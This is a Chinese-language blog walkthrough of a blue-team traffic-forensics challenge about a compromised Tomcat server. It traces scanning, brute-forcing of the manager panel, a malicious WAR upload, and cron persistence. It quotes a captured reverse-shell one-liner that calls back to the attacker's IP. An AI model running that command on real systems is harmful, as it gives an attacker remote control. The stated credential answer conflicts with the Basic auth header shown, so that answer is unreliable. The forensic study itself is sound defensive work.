Tomcat Takeover Blue Team Challenge
题目地址:地址:https://cyberdefenders.org/blueteam-ctf-challenges/tomcat-takeover/
流量题
比武中遇到这类题一直没有很好的办法。于是决定好好学习一下,把自己的做的题都记录下来,方便日后复盘和学习。
-
Given the suspicious activity detected on the web server, the pcap analysis shows a series of requests across various ports, suggesting a potential scanning behavior. Can you identify the source IP address responsible for initiating these requests on our server? 意思是问谁在扫描这个服务器的端口。
发现14.0.0.120:51985端口一直在扫描10.0.0.112的各个端口,所以是答案是14.0.0.120 -
From the pcap analysis, multiple open ports were detected as a result of the attacker’s activitie scan. Which of these ports provides access to the web server admin panel? 意思是问通过流量包分析,哪个端口提供了web服务管理功能。
往下面翻,发现在访问8080端口的时候是没有访问失败的。
追踪TCP流,看到源码之后往下翻
所以是8080端口,也是默认端口。
这里补充一下
我在学习这道题的时候是学习了大佬Q1anfang2的做法。但有了自己的一些新思考,如果有明白原理的大佬可以评论区告诉我。
在取证中进行流量分析还可以使用networkminer这个软件。界面如下
在如图所示中tomcat的管理端口不只是8080,还有4446、5578这些端口,我用wireshark过滤看了一下,如图
其他几个端口皆是没有访问成功过。所以确定是8080.
所以用NetworkMiner能够解决一些简单问题。 -
Following the discovery of open ports on our server, it appears that the attacker attempted to enumerate and uncover directories and files on our web server. Which tools can you identify from the analysis that assisted the attacker in this enumeration process? 分析攻击者使用什么工具扫描目录和端口。
通过查看14.0.0.120的Host Details查看
发现枚举了很多个目录
所以是用的gobuster扫描端口和目录,搜索nmap无结果。 -
Subsequent to their efforts to enumerate directories on our web server, the attacker made numerous requests trying to identify administrative interfaces. Which specific directory associated with the admin panel was the attacker able to uncover? 在尝试枚举我们Web服务器上的目录之后,攻击者发出了大量请求,试图识别管理界面。攻击者能够发现与管理面板相关联的哪个特定目录?
我的方法很简单,先模糊搜索admin,然后追踪TCP流
所以是manager目录 -
**Upon accessing the admin panel, the attacker made attempts to brute-force the login credentials. From the data, can you identify the correct username and password combination that the attacker successfully used for authorization?**在访问管理面板后,攻击者试图通过暴力破解登录凭据。根据数据,您能否确定攻击者成功用于授权的正确用户名和密码组合?
对应着去Wireshark找一下登录成功的流量包。
通过分析TCP流,我们发现
在9455和9456流之间,
User-Agent改变,说明此时gobuster扫描完了,开始准备登录了,开始从9456流分析。
9460流,发现上传了一个文件。
9461流,已经登入进去开始输入命令了。
POST /manager/html/upload;jsessionid=0DE586F27B2F48D0CA045F731E0E9E71?org.apache.catalina.filters.CSRF_NONCE=83EDF4E2462ECC725BAF342DD7A46974 HTTP/1.1
Host: 10.0.0.112:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.0.0.112:8080/manager/html
Content-Type: multipart/form-data; boundary=---------------------------309854885940911807712888696060
Content-Length: 1324
Origin: http://10.0.0.112:8080
Authorization: Basic YWRtaW46dG9tY2F0
Connection: keep-alive
Cookie: JSESSIONID=0DE586F27B2F48D0CA045F731E0E9E71
Upgrade-Insecure-Requests: 1
直接AI看看
答案是 root tomcat。
-
**Once inside the admin panel, the attacker attempted to upload a file with the intent of establishing a reverse shell. Can you identify the name of this malicious file from the captured data? ** 一旦进入管理面板,攻击者试图上传一个文件,意图建立反向shell。你能从捕获的数据中识别出这个恶意文件的名称吗?
从上题就发现了是上传了个JXQOZY.war,拿去分析一下。
用NetWorkminer导出,用火绒跑一下 -
Upon successfully establishing a reverse shell on our server, the attacker aimed to ensure persistence on the compromised machine. From the analysis, can you determine the specific command they are scheduled to run to maintain their presence? 在成功在我们的服务器上建立反向shell之后,攻击者旨在确保在被攻陷的机器上保持持久性。从分析中,你能确定他们计划运行什么具体命令来维持他们的存在吗?
9461流,见5题。
/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'
在受害者的计算机上设置一个 cron 作业,每分钟尝试通过反向 shell 连接到指定的 IP 地址和端口